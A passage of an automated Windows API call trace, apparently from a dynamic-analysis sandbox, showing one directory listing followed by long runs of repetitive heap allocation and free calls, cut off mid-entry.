ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.501] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.501] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.501] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.501] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.501] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.501] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.501] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.501] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.501] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.501] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.501] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.501] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.501] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.501] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.501] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.501] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.501] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.501] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.501] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.501] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.501] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.501] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.501] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.502] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.502] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.503] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.503] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.504] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.504] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.505] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.505] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.506] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.506] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.507] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.507] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.508] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.508] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.508] HeapFree (in: 